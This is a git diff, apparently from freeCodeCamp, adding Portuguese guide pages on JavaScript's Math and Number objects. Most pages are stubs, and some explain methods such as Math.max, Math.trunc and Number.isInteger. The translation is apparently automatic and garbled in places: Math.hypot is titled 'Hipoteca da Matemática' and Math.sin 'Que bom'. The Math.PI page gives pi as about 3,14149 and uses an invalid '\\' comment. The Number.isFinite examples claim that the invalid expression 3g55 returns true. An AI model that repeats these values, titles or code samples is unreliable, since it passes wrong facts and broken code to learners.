+ Math.floor(-1.3) // -2 
+```
+
+### Mais Informações:
+
+*   [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/floor)
+*   [w3schools](https://www.w3schools.com/jsref/jsref_floor.asp)
+*   [Wikipedia](https://en.wikipedia.org/wiki/Floor_and_ceiling_functions)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/math/math-fround/index.md b/client/src/guide/portuguese/javascript/standard-objects/math/math-fround/index.md
new file mode 100644
index 0000000000..2dd3ad4da9
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/math/math-fround/index.md
@@ -0,0 +1,11 @@
+---
+title: Math Fround
+localeTitle: Math Fround
+---
+## Math Fround
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-fround/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/math/math-hypot/index.md b/client/src/guide/portuguese/javascript/standard-objects/math/math-hypot/index.md
new file mode 100644
index 0000000000..6cc37002c5
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/math/math-hypot/index.md
@@ -0,0 +1,11 @@
+---
+title: Math Hypot
+localeTitle: Hipoteca da Matemática
+---
+## Hipoteca da Matemática
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-hypot/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/math/math-imul/index.md b/client/src/guide/portuguese/javascript/standard-objects/math/math-imul/index.md
new file mode 100644
index 0000000000..2db8a1e1a3
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/math/math-imul/index.md
@@ -0,0 +1,11 @@
+---
+title: Math Imul
+localeTitle: matemática bottommost
+---
+## Math Imul
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-imul/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/math/math-ln10/index.md b/client/src/guide/portuguese/javascript/standard-objects/math/math-ln10/index.md
new file mode 100644
index 0000000000..e10c786b2d
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/math/math-ln10/index.md
@@ -0,0 +1,11 @@
+---
+title: Math LN10
+localeTitle: Matemática LN10
+---
+## Matemática LN10
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-ln10/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/math/math-ln2/index.md b/client/src/guide/portuguese/javascript/standard-objects/math/math-ln2/index.md
new file mode 100644
index 0000000000..29af1e36ff
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/math/math-ln2/index.md
@@ -0,0 +1,11 @@
+---
+title: Math LN2
+localeTitle: Matemática LN2
+---
+## Matemática LN2
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-ln2/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/math/math-log/index.md b/client/src/guide/portuguese/javascript/standard-objects/math/math-log/index.md
new file mode 100644
index 0000000000..34ce81d166
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/math/math-log/index.md
@@ -0,0 +1,11 @@
+---
+title: Math Log
+localeTitle: Log de Matemática
+---
+## Log de Matemática
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-log/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/math/math-log10/index.md b/client/src/guide/portuguese/javascript/standard-objects/math/math-log10/index.md
new file mode 100644
index 0000000000..65e103a344
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/math/math-log10/index.md
@@ -0,0 +1,11 @@
+---
+title: Math Log10
+localeTitle: Log de Matemática10
+---
+## Log de Matemática10
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-log10/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/math/math-log10e/index.md b/client/src/guide/portuguese/javascript/standard-objects/math/math-log10e/index.md
new file mode 100644
index 0000000000..273a197986
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/math/math-log10e/index.md
@@ -0,0 +1,11 @@
+---
+title: Math LOG10E
+localeTitle: Math LOG10E
+---
+## Math LOG10E
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-log10e/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/math/math-log2e/index.md b/client/src/guide/portuguese/javascript/standard-objects/math/math-log2e/index.md
new file mode 100644
index 0000000000..01265ddb50
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/math/math-log2e/index.md
@@ -0,0 +1,11 @@
+---
+title: Math LOG2E
+localeTitle: Math LOG2E
+---
+## Math LOG2E
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-log2e/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/math/math-max/index.md b/client/src/guide/portuguese/javascript/standard-objects/math/math-max/index.md
new file mode 100644
index 0000000000..836ac0d721
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/math/math-max/index.md
@@ -0,0 +1,57 @@
+---
+title: Math Max
+localeTitle: Matemática max
+---
+## Matemática max
+
+`Math.max()` é uma função que retorna o maior valor de uma lista de valores numéricos passados ​​como parâmetros. Se um valor não numérico for passado como parâmetro, `Math.max()` retornará `NaN` .
+
+Uma matriz de valores numéricos pode ser passada como um único parâmetro para `Math.max()` usando `spread (...)` ou `apply` . Qualquer um desses métodos pode, no entanto, falhar quando a quantidade de valores de matriz fica muito alta.
+
+### Sintaxe
+
+```js
+Math.max(value1, value2, value3, ...); 
+```
+
+### Parâmetros
+
+Números ou matriz limitada de números.
+
+### Valor de retorno
+
+O maior dos valores numéricos fornecidos, ou `NaN` se qualquer valor determinado for não numérico.
+
+### Exemplos
+
+_Números Como Parâmetros_
+
+```js
+Math.max(4, 13, 27, 0, -5); // returns 27 
+```
+
+_Parâmetro inválido_
+
+```js
+Math.max(4, 13, 27, 'eight', -5); // returns NaN 
+```
+
+_Matriz como parâmetro, usando a propagação (...)_
+
+```js
+let numbers = [4, 13, 27, 0, -5]; 
+ 
+ Math.max(...numbers); // returns 27 
+```
+
+_Matriz Como Parâmetro, Usando Aplicar_
+
+```js
+let numbers = [4, 13, 27, 0, -5]; 
+ 
+ Math.max.apply(null, numbers); // returns 27 
+```
+
+#### Mais Informações:
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/max)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/math/math-min/index.md b/client/src/guide/portuguese/javascript/standard-objects/math/math-min/index.md
new file mode 100644
index 0000000000..de9b7668d4
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/math/math-min/index.md
@@ -0,0 +1,18 @@
+---
+title: Math Min
+localeTitle: Matemática min
+---
+## Matemática min
+
+A função Math.min () retorna o menor de zero ou mais números.
+
+Você pode passar qualquer número de argumentos.
+
+```javascript
+Math.min(7, 2, 9, -6); 
+ // returns -6 
+```
+
+#### Mais Informações:
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/min)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/math/math-pi/index.md b/client/src/guide/portuguese/javascript/standard-objects/math/math-pi/index.md
new file mode 100644
index 0000000000..ccf064871e
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/math/math-pi/index.md
@@ -0,0 +1,19 @@
+---
+title: Math PI
+localeTitle: Matemática PI
+---
+## Matemática PI
+
+`Math.PI` é uma propriedade estática do objeto Math. Representa a constante matemática definida como a razão entre a circunferência de um círculo e seu diâmetro. É aproximadamente 3,14149 e é freqüentemente representado pela letra grega π.
+
+![pi de pi](https://c1.staticflickr.com/2/1207/3352784321_0d648bec78.jpg)
+
+## Exemplos
+
+```js
+Math.PI \\ 3.141592653589793 
+```
+
+#### Mais Informações:
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/PI)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/math/math-pow/index.md b/client/src/guide/portuguese/javascript/standard-objects/math/math-pow/index.md
new file mode 100644
index 0000000000..c29fdbfc4c
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/math/math-pow/index.md
@@ -0,0 +1,27 @@
+---
+title: Math Pow
+localeTitle: Math Pow
+---
+## Math Pow
+
+`Math.pow()` retorna o valor de um número para o poder de outro número.
+
+#### Sintaxe
+
+`Math.pow(base, exponent)` , onde `base` é o número base e o `exponent` é o número pelo qual elevar a `base` .
+
+`pow()` é um método estático de `Math` , portanto, é sempre chamado de `Math.pow()` e não como um método em outro objeto.
+
+#### Exemplos
+
+```js
+Math.pow(5, 2); // 25 
+ Math.pow(7, 4); // 2401 
+ Math.pow(9, 0.5); // 3 
+ Math.pow(-8, 2); // 64 
+ Math.pow(-4, 3); // -64 
+```
+
+#### Mais Informações:
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/pow)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/math/math-random/index.md b/client/src/guide/portuguese/javascript/standard-objects/math/math-random/index.md
new file mode 100644
index 0000000000..6743c8ae66
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/math/math-random/index.md
@@ -0,0 +1,23 @@
+---
+title: Math Random
+localeTitle: Matemática Aleatória
+---
+## Matemática Aleatória
+
+`Math.random()` retorna um número entre 0 (inclusive) e 1 (exclusivo).
+
+#### Sintaxe
+
+`Math.random()`
+
+#### Exemplo
+
+```js
+function randomInRange(min, max) { 
+  return Math.random() * (max - min) + min; 
+ } 
+```
+
+#### Mais Informações:
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/random)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/math/math-round/index.md b/client/src/guide/portuguese/javascript/standard-objects/math/math-round/index.md
new file mode 100644
index 0000000000..85f9197a2d
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/math/math-round/index.md
@@ -0,0 +1,11 @@
+---
+title: Math Round
+localeTitle: Rodada de Matemática
+---
+## Rodada de Matemática
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-round/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/math/math-sign/index.md b/client/src/guide/portuguese/javascript/standard-objects/math/math-sign/index.md
new file mode 100644
index 0000000000..27e5a73763
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/math/math-sign/index.md
@@ -0,0 +1,11 @@
+---
+title: Math Sign
+localeTitle: Sinal de matemática
+---
+## Sinal de matemática
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-sign/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/math/math-sin/index.md b/client/src/guide/portuguese/javascript/standard-objects/math/math-sin/index.md
new file mode 100644
index 0000000000..784ba43421
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/math/math-sin/index.md
@@ -0,0 +1,11 @@
+---
+title: Math Sin
+localeTitle: Que bom
+---
+## Pecado Matemático
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-sin/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/math/math-sinh/index.md b/client/src/guide/portuguese/javascript/standard-objects/math/math-sinh/index.md
new file mode 100644
index 0000000000..e9eb778f0e
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/math/math-sinh/index.md
@@ -0,0 +1,11 @@
+---
+title: Math Sinh
+localeTitle: Matemática sinh
+---
+## Matemática sinh
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-sinh/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/math/math-sqrt/index.md b/client/src/guide/portuguese/javascript/standard-objects/math/math-sqrt/index.md
new file mode 100644
index 0000000000..bc0a00e81a
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/math/math-sqrt/index.md
@@ -0,0 +1,29 @@
+---
+title: Math Sqrt
+localeTitle: Matemática Sqrt
+---
+## Matemática Sqrt
+
+A função `Math.sqrt()` retorna a raiz quadrada de um número.
+
+Se um número negativo for inserido, `NaN` será retornado.
+
+`sqrt()` é um método estático de `Math` , portanto, é sempre chamado como `Math.sqrt()` e não como um método em outro objeto.
+
+#### Sintaxe
+
+`Math.sqrt(x)` , onde `x` é um número.
+
+#### Exemplos
+
+```js
+Math.sqrt(25); // 5 
+ Math.sqrt(169); // 13 
+ Math.sqrt(3); // 1.732050807568 
+ Math.sqrt(1); // 1 
+ Math.sqrt(-5); // NaN 
+```
+
+#### Mais Informações:
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/sqrt)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/math/math-sqrt1-2/index.md b/client/src/guide/portuguese/javascript/standard-objects/math/math-sqrt1-2/index.md
new file mode 100644
index 0000000000..86f378849a
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/math/math-sqrt1-2/index.md
@@ -0,0 +1,11 @@
+---
+title: Math SQRT1_2
+localeTitle: Math SQRT1_2
+---
+## Math SQRT1\_2
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-sqrt1_2/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/math/math-sqrt2/index.md b/client/src/guide/portuguese/javascript/standard-objects/math/math-sqrt2/index.md
new file mode 100644
index 0000000000..fe337b1fd2
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/math/math-sqrt2/index.md
@@ -0,0 +1,11 @@
+---
+title: Math SQRT2
+localeTitle: Matemática SQRT2
+---
+## Matemática SQRT2
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-sqrt2/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/math/math-tan/index.md b/client/src/guide/portuguese/javascript/standard-objects/math/math-tan/index.md
new file mode 100644
index 0000000000..25ef979984
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/math/math-tan/index.md
@@ -0,0 +1,11 @@
+---
+title: Math Tan
+localeTitle: Matemática tan
+---
+## Matemática tan
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-tan/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/math/math-tanh/index.md b/client/src/guide/portuguese/javascript/standard-objects/math/math-tanh/index.md
new file mode 100644
index 0000000000..19d7366e9d
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/math/math-tanh/index.md
@@ -0,0 +1,11 @@
+---
+title: Math Tanh
+localeTitle: Matemática Tanh
+---
+## Matemática Tanh
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-tanh/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/math/math-trunc/index.md b/client/src/guide/portuguese/javascript/standard-objects/math/math-trunc/index.md
new file mode 100644
index 0000000000..f76644538d
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/math/math-trunc/index.md
@@ -0,0 +1,23 @@
+---
+title: Math Trunc
+localeTitle: Matemática Trunc
+---
+## Matemática Trunc
+
+`Math.trunc()` é um método do objeto padrão Math que retorna apenas a parte inteira de um dado número simplesmente removendo unidades fracionárias. Isso resulta em um arredondamento geral para zero. Qualquer entrada que não seja um número resultará em uma saída de NaN.
+
+Cuidado: este método é um recurso do ECMAScript 2015 (ES6) e, portanto, não é suportado por navegadores mais antigos.
+
+### Exemplos
+
+```javascript
+Math.trunc(0.1)   //  0 
+ Math.trunc(1.3)   //  1 
+ Math.trunc(-0.9)  // -0 
+ Math.trunc(-1.5)  // -1 
+ Math.trunc('foo') // NaN 
+```
+
+### Mais Informações:
+
+*   [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/trunc)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/number/index.md b/client/src/guide/portuguese/javascript/standard-objects/number/index.md
new file mode 100644
index 0000000000..78b3e9cc7a
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/number/index.md
@@ -0,0 +1,13 @@
+---
+title: Number
+localeTitle: Número
+---
+## Número
+
+O objeto `Number` Javacript representa qualquer tipo de número. O JavaScript não distingue tipos separados de números, como inteiros ou flutuantes. Eles são armazenados em um formato unificado de ponto flutuante de 64 bits, de acordo com o padrão internacional IEEE 754 1 .
+
+Objetos New `Number` são criados assim: `var num = new Number(value)` embora geralmente eles possam ser criados simplesmente atribuindo um valor numérico a uma variável: `var num = 1.616;` . Em um contexto não-construtor (ou seja, sem o `new` operador), `Number` pode ser usado para realizar uma conversão de tipo. Se o argumento não puder ser convertido em um número, ele retornará [`NaN`](https://guide.freecodecamp.org/javascript/standard-objects/number/number-nan) .
+
+### Fontes
+
+1.  Equipe do w3schools.com. [w3schools.com: Números JavaScript](https://www.w3schools.com/js/js_numbers.asp) _w3schools.com._ Acesso em: 31 de outubro de 2017.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/number/number-epsilon/index.md b/client/src/guide/portuguese/javascript/standard-objects/number/number-epsilon/index.md
new file mode 100644
index 0000000000..8832389856
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/number/number-epsilon/index.md
@@ -0,0 +1,11 @@
+---
+title: Number EPSILON
+localeTitle: Número EPSILON
+---
+## Número EPSILON
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/number/number-epsilon/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/number/number-isfinite/index.md b/client/src/guide/portuguese/javascript/standard-objects/number/number-isfinite/index.md
new file mode 100644
index 0000000000..87147d12ec
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/number/number-isfinite/index.md
@@ -0,0 +1,50 @@
+---
+title: Number isFinite
+localeTitle: Número isFinite
+---
+# Número isFinite
+
+## Descrição
+
+O método `Number.isFinite()` verifica se o valor passado para ele é um número finito. Este método foi introduzido no ES6
+
+## Sintaxe
+
+`Number.isFinite(val)`
+
+### Parâmetros
+
+**val** - valor para verificar a finitude
+
+## Valor de retorno
+
+Um [booleano que](https://guide.freecodecamp.org/javascript/booleans) indica se o valor é um número finito ou não.
+
+## Descrição
+
+`Number.isFinite` é diferente do método global [isFinite ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/isFinite) , ele não converte o valor testado em um número. Isso significa que o valor precisa ser um número e finito para retornar true.
+
+## Exemplos
+```
+Number.isFinite(Infinity)     // false 
+ Number.isFinite(-Infinity)    // false 
+ 
+ Number.isFinite(1234)         // true 
+ Number.isFinite(-1.11)        // true 
+ Number.isFinite(0)            // true 
+ Number.isFinite(3g55)         // true 
+ 
+ Number.isFinite('1234')       // false 
+ Number.isFinite('Hi')         // false 
+ Number.isFinite('2005/12/12') // false 
+ 
+ Number.isFinite('0');         // false, would've been true with 
+                              // global isFinite('0') 
+ 
+ Number.isFinite(null);        // false, would've been true with 
+                              // global isFinite(null) 
+```
+
+#### Mais Informações:
+
+[Documento ECMA 2015](https://www.ecma-international.org/ecma-262/6.0/#sec-number.isfinite) [Number.isFinite () MDN Web Docs](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/isFinite)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/number/number-isinteger/index.md b/client/src/guide/portuguese/javascript/standard-objects/number/number-isinteger/index.md
new file mode 100644
index 0000000000..5f451dd772
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/number/number-isinteger/index.md
@@ -0,0 +1,51 @@
+---
+title: Number isInteger
+localeTitle: Número isInteger
+---
+# Número isInteger
+
+## Descrição
+
+O método `Number.isInteger()` determina se o valor passado é um inteiro. Este método foi introduzido no ES6
+
+## Sintaxe
+
+`Number.isInteger(val)`
+
+### Parâmetros
+
+**val** - valor para verificar se é um inteiro
+
+## Valor de retorno
+
+Um [booleano que](https://guide.freecodecamp.org/javascript/booleans) indica se o valor é um inteiro ou não.
+
+## Descrição
+
+O método retorna `true` se o valor passado for um inteiro, caso contrário, retorna `false` . Valores infinitos e `NaN` retornam `false` .
+
+## Exemplos
+```
+Number.isInteger(0);         // true 
+ Number.isInteger(-0);        // true 
+ Number.isInteger(1);         // true 
+ Number.isInteger(2);         // true 
+ Number.isInteger(-100001);   // true 
+ Number.isInteger(999999999999999999999999); // true 
+ 
+ Number.isInteger(0.1);       // false 
+ Number.isInteger(0.3);       // false 
+ Number.isInteger(Math.PI);   // false 
+ 
+ Number.isInteger(NaN);       // false 
+ Number.isInteger(Infinity);  // false 
+ Number.isInteger(-Infinity); // false 
+ Number.isInteger('10');      // false 
+ Number.isInteger(true);      // false 
+ Number.isInteger(false);     // false 
+ Number.isInteger([1]);       // false 
+```
+
+#### Mais Informações:
+
+[Documento ECMA 2015](https://www.ecma-international.org/ecma-262/6.0/#sec-number.isinteger) [Number.isInteger () MDN Web Docs](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/isInteger)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/number/number-isnan/index.md b/client/src/guide/portuguese/javascript/standard-objects/number/number-isnan/index.md
new file mode 100644
index 0000000000..8b7c631f6d
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/number/number-isnan/index.md
@@ -0,0 +1,11 @@
+---
+title: Number isNaN
+localeTitle: Número éNaN
+---
+## Número éNaN
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/number/number-isnan/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/number/number-issafeinteger/index.md b/client/src/guide/portuguese/javascript/standard-objects/number/number-issafeinteger/index.md
new file mode 100644
index 0000000000..5a53934e92
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/number/number-issafeinteger/index.md
@@ -0,0 +1,11 @@
+---
+title: Number isSafeInteger
+localeTitle: Number isSafeInteger
+---
+## Number isSafeInteger
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/number/number-issafeinteger/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/number/number-max-safe-integer/index.md b/client/src/guide/portuguese/javascript/standard-objects/number/number-max-safe-integer/index.md
new file mode 100644
index 0000000000..067ffb39e2
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/number/number-max-safe-integer/index.md
@@ -0,0 +1,11 @@
+---
+title: Number MAX_SAFE_INTEGER
+localeTitle: Número MAX_SAFE_INTEGER
+---
+## Número MAX _SAFE_ INTEGER
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/number/number-max_safe_integer/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/number/number-max-value/index.md b/client/src/guide/portuguese/javascript/standard-objects/number/number-max-value/index.md
new file mode 100644
index 0000000000..09feb02d4e
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/number/number-max-value/index.md
@@ -0,0 +1,11 @@
+---
+title: Number MAX_VALUE
+localeTitle: Número MAX_VALUE
+---
+## Número MAX\_VALUE
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/number/number-max_value/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/number/number-min-value/index.md b/client/src/guide/portuguese/javascript/standard-objects/number/number-min-value/index.md
new file mode 100644
index 0000000000..f15808fd1a
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/number/number-min-value/index.md
@@ -0,0 +1,11 @@
+---
+title: Number MIN_VALUE
+localeTitle: Número MIN_VALUE
+---
+## Número MIN\_VALUE
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/number/number-min_value/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
